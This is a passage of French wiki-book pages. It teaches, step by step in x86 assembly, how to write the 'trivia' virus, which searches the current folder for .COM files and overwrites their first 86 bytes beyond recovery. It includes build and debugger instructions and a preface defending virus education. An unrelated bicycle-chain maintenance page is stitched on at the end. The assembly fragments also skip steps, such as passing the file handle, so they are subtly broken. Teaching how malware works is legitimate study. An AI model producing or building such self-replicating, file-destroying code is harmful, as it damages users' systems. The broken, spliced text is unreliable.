Virus informatique/trivia α
Le virus trivia en version alpha est le plus simple des virus car il n'infecte que les fichiers exécutables .com du répertoire courant.
Code source commenté, pas à pas.
La recherche de fichier est un service fournit pas MS-DOS : le service numéro 4Eh (h indique qu'il s'agit d'hexadécimal) de l'interruption 21h permet de rechercher n'importe quel fichier en spécifiant la bonne chaîne ASCIIZ (chaîne de caractère finie par un zéro)
Il faut d'abord déclarer la chaîne. En assembleur :
 FichierCOM db '*.com',0
FichierCOM est le nom que l'on donne à notre variable. DB (Dump Byte) c'est pour affecter la chaîne au nom. '*.com',0 est la chaîne ASCIIZ.
Il ne reste plus qu'à utiliser le service 4Eh:
 MOV AH,4Eh
On met le numero de service dans le registre AH, ici 4Eh.
 MOV DX,OFFSET FichierCOM
DX reçoit l'adresse de la chaîne ASCIIZ
 INT 21h
On exécute la recherche avec l'interruption 21h. Si il n'y a pas de fichier, MS-DOS nous avertit en mettant à 1 un bit (le flag de retenue) d'un registre appelé registre d'état.
On peut le tester avec cette instruction :
 JC exit
"Jump if Carry", c.a.d saut à "exit" si le flag de retenue est à 1.
Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9E. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus, c'est le rôle du service 3Dh:
 MOV AH, 3Dh
Service 3Dh : ouvrir un fichier
 MOV AL, 1
En écriture, on écrase tout. Le fichier infecté sera irrécupérable, pas de désinfection possible.
 MOV DX, NomFich
Dans DX l'adresse du nom du fichier.
 INT 21h
MS-DOS l'ouvre.
On a juste ouvert le fichier pour pouvoir récupérer son descripteur (handle en anglais). C'est un numéro attribué au fichier qui sert à MS-DOS pour le reconnaître.
Après l'interruption 21h, le descripteur est dans le registre 16 bits AX. Maintenant qu'on a son descripteur on va écraser son code en écrivant notre virus par dessus. Mais faut-il encore connaître la taille exacte du virus. Facile : il suffit d'assembler et de voir la taille du com. Il faut surtout le placer au bon endroit. Car le code d'un fichier COM commence 256 (100h) octets après le début du fichier, il faut donc écrire qu'a partir de 100h.
C'est le rôle du service 40h:
 MOV AH, 40h
On va écrire dans le fichier
 MOV CL, 86
Taille du virus : 86 octets (à savoir)
 MOV DX, 100h
Le bon offset.
 INT 21h
MS-DOS écrit le virus. (Vérifiable en contrôlant la DEL du disque dur)
Le virus est libéré sauf si le disque est plein (moins de 86 octets libre) ou s'il est protégé en écriture.
Le virus s'est dupliqué il peut effectuer une action comme afficher un message.
Il doit maintenant infecter d'autres fichiers .com. Faut-il réutiliser le service 4E ? Non, car ce service recherche le premier fichier du répertoire courant, l'infection se fera toujours sur le même fichier, il nous faut donc rechercher d'autres fichiers com.
C'est le rôle du service 4Fh.
Remarque: 4F est égal à 4E + 1 (en hexadécimal).
 MOV AH, 4Fh
Deuxième recherche :
 INT 21h
Si il n'y a pas de fichier, DOS nous avertit en mettant … 1 un bit (le flag de retenue) d'un registre appel‚ registre d'état. On le teste avec :
 JNC Infection
"Jump if Not Carry", c.a.d saut à "Infection" si le flag de retenue est à 0. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9Eh. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus.
Assemblage et environnement de test.
Utilisez votre assembleur préféré, comme par exemple A86 d’Eric Isaacson :
 I:\A86>a86 trivia.asm trivia-a.com
 A86 macro assembler, V4.05 Copyright 2000 Eric Isaacson
 Source:
 trivia.asm
 Object: trivia-a.com
 Symbols: trivia-a.SYM
 I:\A86>^C
Créez ensuite un dossier dédié à vos essais où vous placerez le fichier trivia.com ainsi que des copies de fichiers .com se trouvant dans C:\windows\system32
 I:\>md virus
 I:\>cd virus
 I:\VIRUS>_
Exécution pas à pas au débuggeur.
« Debug.exe » est fournit avec toutes les versions de Windows et est accessible depuis n’importe quel dossier.
 I:\Virus>debug trivia-a.com
Tapez ? pour une aide, U pour désassembler, D pour afficher la plage mémoire, P pour l’exécution pas-à-pas, Q pour sortir du débuggeur.

Virus informatique
= Le virus informatique =
« Tout individu a droit à la liberté d'opinion et d'expression, ce qui implique le droit de ne pas être inquiété pour ses opinions et celui de chercher, de recevoir et de répandre, sans considérations de frontières, les informations et les idées par quelque moyen d'expression que ce soit. »
"Article 19 de la Déclaration universelle des Droits de l'Homme."
Le virus informatique est un programme malveillant qui se duplique dans un ordinateur voire d’un ordinateur à un autre via le réseau. Comprendre les virus permet de mieux combattre et se prémunir d’une infection et de se former au fonctionnement du système d’exploitation.
Ce wikilivre s’attachera à faire comprendre les rouages des virus informatiques par une analyse progressive d’un virus simple jusqu’aux plus complexes. Les conséquences d’une infection ne seront qu’abordées. Les codes sources des exemples proposés ne fonctionneront que pour les différentes versions du système d’exploitation le plus touché au monde par les attaques virales, c'est-à-dire : MS-Windows. Ces codes sources peuvent être directement compilés, le lecteur est prévenu que les expériences avec des virus doivent se faire dans un environnement sécurisé et avec un ou au mieux, plusieurs anti-virus à jour.
L’on peut raisonnablement penser qu’il est illégal d’offrir un tel contenu au plus grand nombre alors que cela peut servir à des personnes mal intentionnées, or plus de vingt ans après la création de "Michelangelo", encore un trop grand nombre de personnes ignorent tout de ces minuscules programmes mais est-ce que l’ignorance est une défense ? 
Présentation.
Le wikilivre débutera par aborder les termes utilisés en sécurité informatique et les bases de connaissances concernant du système d’exploitation. Un virus simple sera analysé, sa structure et ses fonctions seront ensuite améliorées jusqu’à nous questionner sur ce qui caractérise la vie artificielle.
Le lecteur doit avoir des connaissances du système MS-Windows, être capable d’utiliser la ligne de commande, avoir des notions d’anglais technique et savoir lire un programme écrit en assembleur Intel.
Table des matières.
= L’écraseur de fichier COM =
Notre premier virus simple va rechercher un programme à infecter dans son dossier. Le virus va ensuite se recopier par-dessus les anciennes instructions du programme et ceci pour tous les programmes dans le dossier.
Pour être précis, ce virus va rechercher n'importe quel fichier *.com du répertoire courant, si aucune victime n’est trouvée le programme s’arrête. Dans le cas d’une victime trouvée le virus se recopie dans le corps du programme en écrasant les premières instructions correspondantes à la taille du virus. Ainsi les 86 premiers octets du programme victime seront perdus le rendant inopérant et irrécupérable. Le virus effectue ensuite une autre recherche recommençant un cycle jusqu’à ce que tous les fichiers .com du répertoire soient infectés.
L’analyse du code source du virus trivia nous renseigne sur la stratégie choisie pour l’infection.

Mécanique vélo/Vérifier la chaîne
Vérifiez les articulations des maillons (surtout sur un vélo neuf) en rétropédalant et en observant le passage de la chaîne dans le dérailleur arrière. Utilisez une jauge pour déterminer l'usure de la chaîne - Vérifier l'état de lubrification de cette dernière.